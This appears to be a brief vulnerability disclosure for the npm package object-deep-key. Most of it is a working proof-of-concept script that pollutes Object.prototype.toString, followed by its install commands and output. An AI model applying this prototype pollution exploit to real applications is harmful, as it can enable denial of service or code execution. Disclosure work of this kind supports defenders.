object-deep-key
is vulnerable to Prototype Pollution
.
// poc.js
const objDeepKey = require('object-deep-key').default
console.log('Before: ', {}.toString)
objDeepKey(constructor.prototype, 'toString').set('function prototype polluted')
console.log('After: ', {}.toString)
npm i object-deep-key # install vulnerable package
node poc.js # run the PoC
Before: function toString() { [native code] }
After: function prototype polluted
Prototype Pollution
leads to Information Disclosure/DoS/RCE.